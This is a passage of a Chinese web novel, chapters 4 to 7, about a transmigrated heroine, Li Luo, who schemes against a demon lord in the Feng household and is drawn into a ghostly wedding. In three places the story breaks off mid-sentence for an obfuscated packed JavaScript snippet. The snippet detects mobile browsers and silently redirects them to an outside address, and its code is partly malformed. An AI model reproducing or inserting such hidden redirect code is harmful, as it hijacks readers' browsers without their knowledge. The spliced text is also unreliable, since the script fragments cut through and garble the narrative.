然而脖子上被贴住的地方忽然一暖又湿。 ——黎落哭了。 他这下彻底僵住了。 黎落的头发毛绒绒乱糟糟的,随着她的微微抖动,不停刮蹭着他的耳朵和下颌,时不时带来一阵痒痒麻麻的触感。 她在哭,但是没有放声大哭,只是无声地、沉默地流着眼泪。 身体因为这种压抑而无法自控地抖动起来,像随时都会散架的娃娃。 于是段迟意只好抬手轻轻按在她的背后,以防她真的将自己抖散架了。 很快,他又无师自通地学会了轻拍,像哄婴儿入睡那样温和而有节奏。 除却练剑,他还从未有过如此耐心地对待一个人的时候。 黎落的抖动幅度小了些。 她仍埋首在他怀里哭泣,但是从他生硬又不熟练的安抚中感受到了莫大的鼓励和支持。 过了一会儿,黎落终于恢复了一些力气,趴在他的耳边,仍闭着眼睛,用沙哑的声音悄悄同他诉苦: “姐姐,我好难受。” 如果是冯月婵,应该怎么回答她? 段迟意没想好。 黎落没有等他回答,仿佛只要他在身边就可以满足一样,又继续说道: “我心里好难过。” 她的声音又低了些,飘忽忽的,像一团随时会散掉的云。 段迟意犹豫了片刻,按在她身后的手微微加重了些力气,让这个后盾显得更加有实感一些。 黎落感受到他的动作,心下一松,竟有些破涕为笑。 她胳膊将他的脖子圈得更紧了些: “姐姐,有你真好……我真是太喜欢你了。” 当时的她认知被毁,世界颠倒,周围的一切都虚幻漂浮,不成形状。 唯手中刀沉甸甸压在血肉之上,让她觉得自己还有几分掌控身体的实感。 她急需一个理由走下去。 被家人抛弃、又一起死里逃生的冯月婵便成了最好的选择。 那时她只觉得,冯月婵很好。 她需要自己的保护,她无法一个人面对冯府。 她看着自己的目光依赖而恳求,让黎落觉得自己或许真的还能做些什么。 而现在,冯月婵再一次包容陪伴了她,她甚至愿意陪着自己整夜不睡觉地聊天。 段迟意的思绪仍卡在“我喜欢你”几个字上。 等他回过神来,黎落已经又摆好了促膝长谈的架势,并用那双仍带着水汽的眸子看着他,语气有几分小心翼翼: “我伤了冯见章,姐姐会不高兴吗?” 段迟意到底不是冯月婵本人,他无法替她回答,只能说: “我不知道。” 黎落的眼神便暗淡下去。 段迟意看她片刻,忽然道: “但他害你在先,你应该反击。不必自责。” 黎落的眼睛又因着他这句话一下子亮了起来,用那种灼灼的目光盯着他瞧。 段迟意略有些不自在地偏过头去。 黎落已经扑了上来,又将他重重一抱,直撞得他上半身都朝后仰倒。 然后他又听见对方用那种软软的、甜乎乎的声音在他耳边撒娇: “我真是越来越喜欢你了!冯姐姐!” 段迟意的心跳被她两句话撩拨得忽快忽慢,抬起的手顿了顿,在听到“冯姐姐”三个字后,原本打算将她揽住的手忽然转了个弯,按在她肩膀上,微微用力将她推开。 黎落被推开,但她并没有不高兴,而是继续用一种充满欣赏的目光看着“冯月婵”。 她越发觉得,自己似乎离不开“冯姐姐”了。 好可惜。 黎落心想。 她捅完冯见章,冯府就只剩下冯姐姐一个后代了,按冯老夫人那种传宗接代大过天的脑子,一定舍不得她把人拐走。 黎落又开始发愁。 她忍不住问段迟意: “冯见章还能生吗?” 段迟意:“……应该不能了。” 黎落表情沉痛。 但远不及冯老夫人沉痛。 半夜被吵醒,骤然得知冯见章变成太监的冯老夫人当场白眼一翻晕了过去,又被人掐着人中醒了过来。 事关孙儿“命脉”,她不敢声张,只能悄悄请郎中入府查看。 老夫人嘴唇颤抖,半晌才说出一句完整的话: “大夫,我这孙儿,还有希望吗?” 假扮游医的封樾面色坦然: “我会尽力的。” 按照剧情,昨夜应当是“女主险被侮辱,男主英雄救美”的桥段。 但黎落动手太快,封樾压根没能见到她人,事情便已经结束。 他跟着身带魔气的冯见章溜了一圈,到底也没见到魔魂半点踪迹。 看起来,沧宿的残魂不在冯见章身上,便是在他接触过的人身上。 昏迷着的冯见章发出一声痛苦的呻吟。 封樾随意瞥了一眼,目光定在沾了血的簪子上。 他白天刚见过这簪子的主人。 封樾将那簪子拿在手中,心里念着“黎落”的名字,忍不住勾起嘴角: “有趣。” 随后他心中有了计划,身形消失在冯府嘈杂的人声中,又假扮“江湖神医”,被慌不择路的冯府下人恭恭敬敬请进了冯府。 至于冯见章受伤原因及部位,冯府中人皆是缄默不语。 要怪,也只能怪冯见章自己心虚,一入夜便不许小厮伺候,没人知道他去了哪做了什么。 冯老夫人哭爹喊娘,自称“包治百病”的魔君装模作样地保证,会将冯见章救回来。 待黎落和段迟意赶来时,正好撞上这一幕。 虽然人在淑林院出事,但冯月婵和黎落睡在一处,没有证据说明谁动的手,更解释不清当哥哥的为何半夜跑到妹妹院子里头。 冯明远本就对自己这个荒唐的儿子不满,若是知道了这些,事情必然更糟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320417|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯老夫人只能暂且忍下这个亏,先救孙儿性命要紧。 知道魔君身份的黎落警惕地看向“冯月婵”,一边担心自己暴露,一边又想要从“她”脸上看出是否有陷入爱情的征兆。 段迟意只觉前面那人的背影有些眼熟。 但冯府气息混杂,对方又刻意掩盖,他一时分辨不清,目光便在对方身上多停留了片刻。 立马被一直观察着他的黎落发现。 黎落警惕地朝前一步,挡在段迟意面前: “冯姐姐,你要是还当我是姐妹,就不能喜欢……哎呀——” 她一句话尚未说完,后背被人一撞,一下子朝外摔去。 一个丫鬟匆忙道歉。 段迟意抬手正待扶她,忽然横空伸出一只大手,大力一拽,便将黎落朝远离他的方向拽了几步。 封樾凤眸含笑:“黎落……黎姑娘,好巧。” 段迟意缓缓抬眸,一双清冷的眸子淡淡望去。 见着对方容貌的同时,他的神色瞬间冷了下去,眸中凌冽寒气忽显。 魔君封樾。 他竟然也来了。 封樾不曾见过段迟意真容,更何况他此刻还用着冯月婵的样子,故而只觉得面前这女子气质卓绝、眸光凌厉,不似普通人族,反倒让他有些本能的忌惮。 他虽喜欢美人,但如此不近人情的,再好看也天然落了下乘。 若说女子,还得是黎落这样的,柔柔弱弱,几分倔强也只是添了意趣,到底被按在手掌心里翻不出花来,逗弄着才算有趣。 封樾低头看向一言不发的、试图将手腕从他手中拽出去的黎落,心情瞬间好了很多。 他故意攥得更紧,将人朝自己怀中带,成功看到她眼里的怒意更深,却又如掉入兽网的小兽一般,苦苦挣扎也无力逃脱,脸上笑意更深。 随后他故意压低了嗓音在她耳边低语,却足以让在场每个人都能听到: “黎姑娘今日的腰带,可系紧了?” 这仿佛挑逗一样的话让黎落瞬间气得发抖。 可封樾不知用了什么邪术,她的嗓子如同被什么东西压着一般,张口却说不出话来,被憋得脸色涨红。 在外人看来,她不做辩驳,反而羞赧得脸红,两人便如同是在调情。 黎落知道自己不该在这时候控制不住情绪,但她心里的愤懑还是涌了上来,连带着那股黑气也开始朝她的瞳孔上蔓延。 如果在这里暴露…… 黎落心中泛上恐惧,却只能促使黑气蔓延更快,只能匆匆低下头,避开旁人的视线。 忽然,一只冰凉纤细的手按在她肩膀上,分明只是轻轻一搭,却瞬间将压着她的那股力量挣开。 嗓子恢复正常,黎落终于能说出话了: “你少在这放屁,我根本不认识你!” 而后她借着这股力量挣脱开封樾的手,急忙站到了段迟意身边。 段迟意神色稍松。 封樾的目光从黎落身上移开,看向段迟意,眼里带了几分探究: “这位姑娘是……” 段迟意面无表情,并未回答,只垂眸看了一眼黎落,轻声开口: “我们回吧。” 黎落连忙点头,挽住他的胳膊。 封樾被无视,眼底浮现几分不快。 他抬臂拦在黎落面前,确保她将银簪看清,语带威胁: “姑娘说不认识我,莫非也不认识这簪子了?” 黎落还未说话,段迟意已淡淡开口: “她不认识。” 封樾眼神阴郁地看着他。 段迟意避也不避,神色淡漠地回看过去。 半晌,倒是封樾先败下阵来。 他“嗤”地一笑,抬手让出条路来。 5. 第 5 章 行至无人处,段迟意忽然站定,黎落也跟着他停下。 她偷看他神色,察觉到他的心情并不算很好。 为什么? 黎落心里有些犹豫。 段迟意却忽然伸手拉住她的手腕。 纤长五指扣在她腕子上,更衬得其上青紫指痕狰狞。 那魔头非但不知收敛力气,还敢将魔气灌进黎落体内,压制她的经脉流通。 若非他及时阻止,黎落一个人族,如何能承担魔君魔气的桎梏? 只怕要被生生压断血脉,落成痴傻残疾—— 简直可恨至极! 段迟意表情未变,但周身气息迅速冷了下去,让被他拉着的黎落忍不住打了个哆嗦。 她倒并未觉得被“冯月婵”拉着危险,只是担心“她”会不高兴。 见对方盯着她手腕上的瘀痕,黎落想了想,伸出另一只手,连同段迟意的五指一齐盖住: “姐姐,我没事的,你不要担心了。” 她的指节冰凉,但手心仍是温热的,触及段迟意的同时,冷与热碰出一片的麻。 段迟意垂眸,任由她将自己的手握着,轻声开口: “疼吗?” 黎落连忙摇头:“当然不,一点感觉都没有。” 说来也是无语,因着虐文女主的身份,她这具身体是典型的“身娇体软易推倒”,随便一按就会出印子。 不过大多只是看着狰狞,甚至因为虐文女主常常被虐,她还拥有了“恢复力极强”的超能力,以便在挖心挖肺的虐待中顽强活到大结局。 就……喜忧参半吧。 黎落不想评价。 段迟意沉默片刻,道:“此人危险,离他远一点。” 黎落微微讶然,拉住他的手。 段迟意眼睫微动,随着她的动作微微侧头,听见她在自己耳边小声说: “你也是,一定要小心。” 段迟意低低地“嗯”了一声。 黎落放下心来。 她想了想,又补充道: “他真的没有拉开我的腰带,我……” 段迟意忍不住弯了眼睛,眼里的浮冰彻底碎成星子,替她将话说了下去: “你的腰带是死结。” 他直起身,忍不住摸了摸黎落的头发,软软的,和他想象中的一样好摸。 语带笑意: “我知道的,你说过了。” 黎落被他抢了词,又感受到头顶温柔小心的触碰,一时间脑子宕机。 被封樾威胁的不快却也因着“冯月婵”的笑容彻底消失不见。 她于是也跟着露出个傻气的笑,引得段迟意心里痒痒的。 只是他还没有做出反应,便见一穿着艳红的女子急匆匆走来,扬手就要打他。 段迟意一避,那中年女子便打了个空。 冯月婵的生母——何姨娘见他竟然躲开了,顿时气不打一出来,张口便骂道: “你这狼心狗肺的死东西,可还记得我是你亲生的老子娘?” 段迟意和黎落齐齐看向她。 段迟意是不认识,黎落是一脸惊叹。 先前只听冯月婵说起过,她那亲生母亲是个粗俗无理之人,冯府中无人敢惹,叫她千万别去靠近。 没想到竟是这么个“粗俗无理”法。 何姨娘出身不高,自小是同村头恶霸对骂着长起来的,骂起人来气都不喘: “……我千辛万苦生下的你,没享半点儿女福不说,反倒被你个死东西连累,你还回来干什么!你趁早死外面吧!” 黎落听不下去了,她上前一步挡住“冯月婵”: “你起码还在冯府有吃有喝,冯姐姐在外面庄子,险些被魔物所害九死一生,哪有你这样骂自己女儿的?!” 何姨娘“呸”了一声: “少在这儿跟老娘说什么魔不魔的,我看她就是个魔!老不死的东西,自己招回来的煞星!偏叫老娘不好过!” 黎落于是听懂了,这是在冯老夫人那儿受了气,回头找冯月婵撒气来了。 何姨娘年轻时尚且收敛,后来因为冯月婵出生和冯夫人死在同一天,便被冠上了“不详”的恶名。 冯府是生意人,冯老爷更是喜欢古董古物,对“不详”一事尤其忌讳,何姨娘这便失了宠。 此番老夫人主动提出,说要将冯月婵接回来,她还当自己有了翻身之日。 谁知冯老爷仍对她不闻不问,连送去的帕子都被送了回来。 何姨娘顿时火起,拖关系打听了一圈,方才知道冯老夫人的打算: 竟是想将冯月婵嫁给赵家公子! 那赵家虽不如冯府富庶,到底是和城主有些亲缘,老夫人便想利用冯月婵打通自家和官府的关系。 日前上香便是带人去相看,现下赵府的聘礼都已送到冯府了,若非冯见章忽然出事,冯府早该敲锣打鼓热闹起来了。 何姨娘哪里还坐的住。 自己便是因为这不会挑时辰出生的女儿失宠,现下她竟连成亲这样的大事都敢不问自己的意见。 那赵公子乃是个肥头大耳的蠢秧瓜,她岂能容忍这种长相的人和她成亲家?! 说服冯老爷不成,火气便直直朝着“已经答应了”的冯月婵而来。 黎落和段迟意从她脏话连篇的谩骂中听出了老夫人的打算。 段迟意心下明了,怪不得昨日叫他去说了那些话。 只是他当时一心搜寻魔气,倒不曾对那些暧昧不明的议论上心,落在那些“有话不直说”的妇人眼里,便成了默认。 如此便更加不妙了。 他借了冯月婵身份,总不好干涉她的姻缘大事。 寻找魔魂一事需得尽快。 段迟意陷入沉思。 只是魔君如今也参与进来,那魔魂狡猾,一旦被魔君先行寻到,必会酿成大祸。 他思索这些事的功夫,黎落已经迅速掌握了何姨娘的说话习惯,和对方吵得火热: “你少在这儿说什么好日子烂日子的,我就问你一句话,死老太婆要把你女儿嫁给一个丑八怪,这事儿你当娘的管不管?!” 何姨娘: “呸!有一个丑八怪当亲家,她不嫌丢人,老娘还嫌丢人呢!干他大爷的!” 黎落振臂高呼: “干他大爷的!” 段迟意:“……?” 何姨娘精神抖擞地走了,看方向应该是去“干”老爷和冯老夫人了。 黎落还在给她的背影加油: “加油!何姨娘!冯姐姐和你的幸福都在你手上了!” 何姨娘头也不回摆了摆手,模样很是潇洒帅气。 段迟意失笑:“这是……” 黎落扭回头看他,眼里的亢奋还没有褪去,脸颊带着激动的红,衬得她肤色莹白,双眸清亮。 她捂住嘴,压住嘴角的笑意: “冯姐姐,何姨娘说你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320418|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是个闷瓜葫芦,她要替你把婚事推了。” 说完她又意识到什么似的: “你不会又喜欢那个什么赵公子了吧?他可是冯见章的嫖友,不是什么好东西!” 段迟意一阵无语。 他选择不说话,但是目光又忍不住落在黎落脸上,为她神采奕奕的眸子所吸引。 * “你说昨夜没见着男主?” 系统十分惊讶:“不应该啊?这可是关键剧情。” 它审视着黎落。 谁知黎落先行反咬一口: “我还没问你呢!那冯见章……他……他……若不是我正好没睡着……” 她眼里挂着委屈,一副怎么都说不出口的样子,最后不得不用双手挡住眼睛,崩溃出声: “你说好的男主,就是这样保护我的?!” 系统被她说的理亏,急忙道: “男主毕竟是气运之子,我也不能完全窥探他的动向,只能维护大致剧情。” 黎落放下挡在脸前的手: “那,现在剧情,走到什么情况了?” 系统:“男主到冯府后,很快就找到了魔尊残魂的位置。但有一不好惹的邪物将其拦着,颇费了一番功夫才取得。” 说完,它又提醒黎落: “你若处处拂魔君面子,以后的日子会很难过的。毕竟,取走魔魂后,他会把你一起带走。” 黎落的表情僵硬了一瞬,语气有些破防: “他为什么要把我带走?” 系统道: “对你感兴趣。男女主爱情的开始,是他杀光冯府后准备离开,却鬼使神差地想要把你带走。” 黎落的手不自觉颤抖,安宁平和被打破,只能无力等待命运宣判的绝望感再一次袭来。 白天和魔君那短暂的接触,她已经知道,自己根本不可能打得过对方。 而她虚弱的身体和灵魂,也不可能在对方察觉到端倪之前,就爆发出足够杀掉魔君的能量。 如果封樾真的要把她抓回魔界—— 她根本无力反抗! 黎落表情难看。 乌云自远处缓缓飘来,笼罩在半空中,让冯府的阴邪之气显得越发旺盛。 冯府闹鬼的原因与藏匿魔尊残魂的邪物有关,黎落清楚,封樾定然也清楚。 他去而复返,还遮掩了冯见章受伤的事情,加上今天那一遭交手,黎落不会自信到觉得他是在替自己遮掩。 他在试探她,试探她有没有从冯见章身上得到什么东西。 他已经有了魔魂的线索了…… 这个认知让黎落心生惶恐。 她该怎么办? 难道真的要等着剧情安排,去过那所谓的“虐身虐心”的生活吗? 黎落忽然低头,打量着水面上自己的倒影,像在打量一块上好的猪肉。 面若芙蕖,眸似春水,露出的一截脖颈白皙纤弱,恍如易折的芦苇。 多么完美的“虐文女主”的外貌啊,美丽,柔弱,随手可攀,只要利用得当,不会有人怀疑这张面孔。 黎落下定决心,缓缓吐出一口浊气。 随后她勾起嘴角,冲着自己的倒影露出笑容。 水中的人也冲她微笑,一派天真无辜。 可眸中却无半点笑意,在半明半暗的波光中甚至显得有些瘆人。 乌云已至,暴雨将临。 若真有百鬼夜行,也该选在此时。 6. 第 6 章 冯府人丁简单。 冯明远靠倒卖古董发家,如今年过半百,生意上的事情大多交由手下掌柜料理,自己整日和一群古董相伴,后院也不怎么进。 冯老夫人,打过次很多次照面,脑子里只有她的宝贝孙子,不像是藏匿魔魂的人。 冯府妾室不算多,有名姓的也就两三个,今日见到的何姨娘算是一个,似乎也没什么问题。 冯见章…… 黎落迟疑片刻。 她反复回想了昨夜与其见面的场景,并未发觉有什么异常。 可封樾显然是一直关注着对方的,不然也不会在剧情里及时出现救下她。 现在,封樾又借着郎中的身份留在冯见章身边,只怕真是有了什么实打实的线索…… 黎落咬着唇,内心天人交战一番,还是打算冒一次险。 她撑了把伞,直奔冯见章养伤的地方。 * 听雨抱着两把伞等在门口。 何姨娘忽然发疯,在老爷书房外指桑骂槐骂了许久,终于把事情闹到了老夫人面前。 冯府后院一下子热闹非凡,除却姜姨娘病着,其他人全都来凑热闹了。 没多久“冯月婵”也被叫来,说要问问当事人意见。 听雨等了好久,直到大雨来临,才将“冯月婵”从里面盼出来。 帘子掀开的一瞬间,何姨娘的骂声直直窜了出来: “……老不死的东西,你孙子没了x,倒来祸害我女儿!” 屋子里又是一阵骚乱,似乎是有人晕过去了。 听雨打了个哆嗦,不敢再听,急急将伞罩在“冯月婵”头上: “小姐,仔细有水。” 段迟意接过伞,动作却又一顿。 雨里夹杂着几分诡异的香,似是不详。 “何时落雨?” 听雨忽然听得他这般询问,想了想回答道: “得有半个时辰了吧。” 她看着小姐盯着雨的样子,还当她是没见过这样的大雨,不由得多说了两句: “不怪小姐觉得奇怪,连我也吃惊呢。平州甚少有这么大的雨,今日也不知是怎么了,忽然就跟捅破了天似的……” 段迟意的目光骤然盯住她。 听雨被他望得一哆嗦,又道: “小姐,天太冷了,您穿的也单薄,我们还是先回去吧。” 两人于是一前一后回了淑林院。 风大雨急,黎落的房间里一片乌黑,门却大开着。 段迟意一眼望去,空空荡荡没有人。 叫来了洒扫的丫头一问才知,半个时辰前,黎落撑着伞出去了,看方向,应该是去了冯见章的院子。 魔君假扮的郎中,此刻就在冯见章的院子里。 段迟意眉头皱起。 他不是告诉过黎落,离那个郎中远一点吗? 她是全当耳旁风了吗? * 冯府不希望唯一男丁变太监的消息泄露,守在冯见章院子门口的侍从本就不多,下雨后更少。 黎落趁没人注意混了进去。 冯见章昏迷不醒,一凑近便药味冲天。 黎落谨慎地打量着他和整间屋子。 奢华,富贵,书架上的诗词后藏着淫词艳曲,上好的笔墨落了灰,看起来主人很久不用了。 她的目光落到了博古架上放着的一盒半旧的胭脂。 好奇怪…… 冯见章自诩富贵,自用、送人之物都得选上好的,这么一盒平平无奇的胭脂,竟然能被放在博古架上。 她伸出手,刚要将其拿下来,门忽然被人推开,灌进了一阵冷风。 黎落只觉后颈一凉,便有一股大力将她按到了博古架上。 脏腑瞬间被撞得错位一般生疼,头顶上的花瓶摇摇欲坠。 一道阴郁的声音在她背后响起: “瞧瞧,这是哪跑来的小贼,落到了我的手上?” 黎落一惊,便已经看到魔君那双阴冷的眸子。 她装作被吓了一跳的样子: “你怎么在这儿?谁说我是贼了,我只是来看望一下冯公子……” 封樾嗤笑一声,将簪子展示了出来: “黎姑娘,你还真是嘴硬……要我把此物交给冯府吗?” 黎落看向那簪子,神色瞬间变得慌乱,伸手就要去抢,却被封樾一把掐住了脖子动弹不得。 “我还当你有了冯家小姐做靠山,便什么都不怕了呢。” 他缓缓摩挲着手下纤弱的、随时可以捏断的喉骨,语带威胁: “先是簪子,再是偷窃,我该怎么处置你呢?让我想想……” 他这么说着,双眼染上嗜血的颜色,魔纹渐渐从他衣领下蔓延上来,将那张本就带着邪气的脸衬得更加诡异可怖。 封樾展露了自己的魔相,满意地看向黎落,等着欣赏她惊恐的表情,以及向自己跪地求饶的丑态。 甚至他还退后半步,以便于她有足够的空间跪下,又不至于让人族肮脏的眼泪脏了他的衣服。 然而黎落没有慌张着跪地求饶。 她脸上的慌乱神色褪去,转而变成了一种“我好心帮你遮掩你竟然主动暴露”的无语表情。 然后抬手,借着封樾空出的半个身位,“啪”地一巴掌甩在对方脸上。 封樾一下子愣住了。 他堂堂魔君,普天之下无不臣服,谁敢动手打他?!还打的是他的脸?!!! 顿时魔气暴涨,原本只做恐吓用的魔纹越发肆意生长,连带着一双红眸中满是嗜血杀意: “你找死——” 黎落直视着他的眼睛,纵使周身被魔气刮得生疼,还是装出一副底气十足的样子,声音清脆镇定,打断了他的发作: “我知道你在找什么。” 话音落,暴涨的魔气一滞。 封樾眯起眼睛,神色晦暗不明: “你知道你在说什么?” 黎落靠在博古架上,强撑着不让自己在巨大的实力差前腿软跪下去,神色坚定: “你要的东西,我知道在哪。” 她主动上前一步,抬臂,纤纤玉指指向床上躺着的冯见章: “昨夜,他对我说了一些秘密……” 黎落的声音放得很轻,封樾的目光不由得跟着她手指的方向看去。 伸出的手指莹润葱白,瘦而纤弱的腕子几乎要承担不住他的视线,在半空中微微发颤,引得人想要咬上一口尝尝味道,看看那细细的血管之下流淌的,是否是回甘的玉露。 封樾情不自禁地舔了舔唇。 察觉到他的视线落点,黎落在心里骂了一句“色胚”。 她收回手。 眼前白皙一晃便消失不见,封樾脸上露出几分遗憾。 他将视线转到黎落脸上,神情松动几分,带了几分调笑: “你可知欺骗我的人,都是什么下场?” 若说黎落原本还有几分心虚,但看他此刻表现,便可以确定:冯见章一定有线索,且封樾还没有找到。 她的心稳了下去,再看封樾魔化的脸时,便觉得没那么可怕了。 “上一个欺骗我的人,被我扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320419|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮抽筋,扔进极渊……你知道极渊吗?” 封樾凑近,看着她的眼睛: “邪祟缠身,群魔呼号,烈焰锥心之地,没有人能完整出……” 一个“来”字还未说出,忽见一道鬼气自窗外袭来,直直逼向博古架旁的两人。 封樾察觉的同时,抬手以魔气相挡。 两股气息碰撞的同时化刃扩张,冲击力将博古架上的东西悉数撞了下去,名贵古董散落一地,瓷片碎裂声被屋外雨势盖住。 黎落匆忙躲开,捂住自己的头。 她心中惴惴不安。 这道鬼气忽然出现,显然不在封樾意料之中。 最大的可能,就是她误打误撞,本想诈一诈封樾,反倒将幕后那邪物引了出来。 她忽然想到了博古架上的胭脂。 黎落的目光落在一地碎片中,一眼便看到那个半旧的胭脂盒。 她小心地避开封樾和那道鬼气的对抗范围,趴在地上朝碎片中挪动,想要去够那盒胭脂。 与此同时,在她不曾察觉的地方,一道阴邪鬼气自冯见章口鼻冒出,化出两只指甲尖锐的鬼手,朝着黎落背后攻来。 黎落浑然不觉。 惊雷忽现。 凌冽剑气倏忽破空而来,霜寒之意瞬时冻结了雨滴,也将雨中弥漫的那股异香击碎。 封樾身上的魔气和鬼气齐齐被这突然出现的一剑劈为两半。 封樾大惊,手掌已漫出鲜血。 然那剑势不减,逼得他不得不连连后退,直到被迫躲至一旁。 而后黎落便在漫天被冻结成冰霜的夜幕中,看见那道手持长剑的修长身影踏冰而来。 乌发玉冠,面覆银霜,剑气如虹,一剑将她背后的鬼爪劈散。 虽看不清面容,却依然会被那股出尘绝世的清冷气质震慑。 而他手中长剑凛冽锐利,素白覆霜,绝非凡物,当是神器。 尖锐鬼啸传入耳畔,震得她头中剧痛。 一旁封樾站定,面色凝重,道出来人身份: “仙门……珩亦。” 七年前,沉寂已久的仙门破妄剑再度现世,持剑人乃是一遮盖面容的白衣少年。 周身覆雪,长剑带霜,一人一剑杀进妖界,将妖王捅了个对穿。 可怜那妖王,曾经也是赫赫有名的妖族之主,如今却只能靠丹药吊着半条命,至今不敢踏出妖界半步。 妖族自此失势,不得不依附魔族以求庇佑。 他身为魔君,也曾听闻那少年剑君的可怖。 仙门自成胥道君闭关后,再次成为不可小觑的存在,皆因其一人。 ——破妄剑主,道号“珩亦”。 思及此,封樾冷笑一声,魔气顿时暴涨,几乎将黎落直接炸飞出去。 “区区化神,不过握了几年破妄剑,也敢来阻拦本君。” 魔气化作爪牙呼啸而来。 持剑之人长身玉立,横剑轻巧一划,便将封樾身上的魔气抵挡在外。 他对封樾的嘲讽和宣战充耳不闻,而是垂眸看向黎落: “走。” 音色清冷,如珠碎玉。 却总像隔了一层似的,叫人无法留下印象。 黎落立马将胭脂盒揣在手中,爬起来就朝房外跑去。 她刚迈出门槛,就听到剑气和魔气发出的巨大碰撞声,门窗齐齐碎裂,在半空中就湮灭成灰。 谁知还未松口气,忽觉鼻端一股异香袭来,和手中胭脂味道相似。 而后脚下一空,她被那诡异的香气拖着,直直朝黑暗中坠去。 7. 第 7 章 雨声在坠落的同时消失。 手下泥土松软干燥,被她身上落下的水珠浸湿,晕染出一片深色。 裙摆划过指尖,带来一阵让人头晕的香味,一双绣鞋停在她面前。 黎落抬头,看见一张苍白秀气的脸。 这人她见过,是冯府的姜姨娘,素来体弱,不常出现在人前。还是冯月婵刚回来那天匆匆一瞥。 但她之所以记得这个人,还是因为对方身上那股奇特的香味,不知怎的,总叫她想起血滴落在脸上的感觉。 ——带着死人气。 姜姨娘伸手扶住她胳膊,将她从地上扶起来。 面前所见仍是冯府之景,却又不是冯府。 姜姨娘声音轻柔:“可怜见的姑娘,怎么摔成这样。” 若是忽略她伸出的手背上的青紫瘢痕,倒真有几分柔婉。 黎落克制着自己心底的恐惧反胃,顺着对方的动作站起来,被她牵引着朝前院走去。 “姜姨娘,你要带我去哪?” 姜姨娘侧眸看她,眼底含笑,却不见光亮: “今夜大喜,姑娘可来观礼。” 两人迈过几道门槛,走至一紧闭的大门前。 黎落抬眸,眉头一跳。 面前这门漆红雕绿,两旁白底黑字写着对联,中间绘着女子探身迎客的彩绘。 那女子眉目长而细,中间一点瞳孔直视着黎落的方向,脸颊上涂着胭脂,似真似假。 黎落一恍神,竟见那门上女子缓缓勾起嘴角,冲她露出笑容。 她被那诡异之景吓得一哆嗦,后背瞬间冒出冷汗。 一旁挽着她的姜姨娘状似不解: “怎么了?” 黎落忍着心底的恶寒,回答道:“没什么,我刚刚淋了雨,有点冷。” 姜姨娘端详她两眼,抬起一只手掩在唇上,笑出声来。 而后她脸色骤然变得阴森,一甩袖子,面前紧闭的大门骤然朝两侧打开,露出里面黑洞洞的空间。 黎落只觉一只手在她背后一推,直直将她推了进去。 她急忙转身,看见姜姨娘站在门口,脸色青黑,哪里还有半点温婉模样,俨然是只恶鬼! “嘻嘻嘻……” 诡笑声从四面八方传来,连同门上那女子壁画一齐,仿佛有无数只鬼脸在黑暗中转向她,凝视她。 大门重重闭合,眼前再无半点亮光。 黎落的心跳猛得变快,一阵一阵寒意自她骨髓深处冒了出来。 她的忍耐力到了顶峰,终于在这一瞬间彻底支撑不住,跌坐在地上大口喘气。 头上忽然多出什么东西,像一块沉重的湿布,压得她直不起脖子。 黎落抬手,尚未触摸到那东西的边缘,便被一只冷得像死人的手牵住。 尖叫卡在喉咙里,背后忽然传来敲锣打鼓的热闹声响,顿时像是闯入了什么宴席,四周高歌吟诵着祝福,欢笑嬉闹融做一团。 随着喧闹声起,眼前忽然有了亮光。 黎落发现自己头上盖着一块红布,绣金的花纹中透出面前朦胧的景象。 高朋满座,美酒佳肴,红色双喜贴满了器具。 手中被人塞进了一段红绸,她无法拒绝,被牵引着朝前走去。 每迈出一步,便听到傧相高呼一句祝福,四面落座的客人便随着祝词露出幸福的笑容。 黎落一时反应不过来,便已经走到了最前方。 红绸的另一端却空空如也,垂落在桌案前方。 面前并无亲眷,也无族长,竟是一座阴森墓碑。 只看一眼,黎落便感觉到体内混沌之力的躁动。 傧相浑然不觉,仰头高呼:“新人对拜——” 所有人都仿佛察觉不到这桩亲事的诡异之处,伸长了脖子朝前方看来。 黎落忽觉一股大力从头上的盖头压来,扣着她的头和脖子和上半身往下压。 她直觉不能拜。 然而头上的盖头如同一座难以摆脱的山,她梗着脖子不肯低头,那山便要压着她跪下去。 忽然,黎落摸到了一直藏在袖中的胭脂。 她重重将胭脂盒扔了出去,砸在面前的墓碑上,红粉扑朔着散落,香气愈盛。 脖子上的压力消散。 周围的喧闹嘈杂瞬间消失。 她仍站在原地,不知道身后的场景是否还是热闹的宴席,但面前光线骤暗,只余一座空荡荡的墓碑。 碑上无字,碑前摆着的水果点心乃至贴了双喜的瓶子悉数消失不见,唯有一只紫玉蟾蜍坐落其上,双眼带红,盯着她的方向。 “姜姨娘”从背后冒出来。 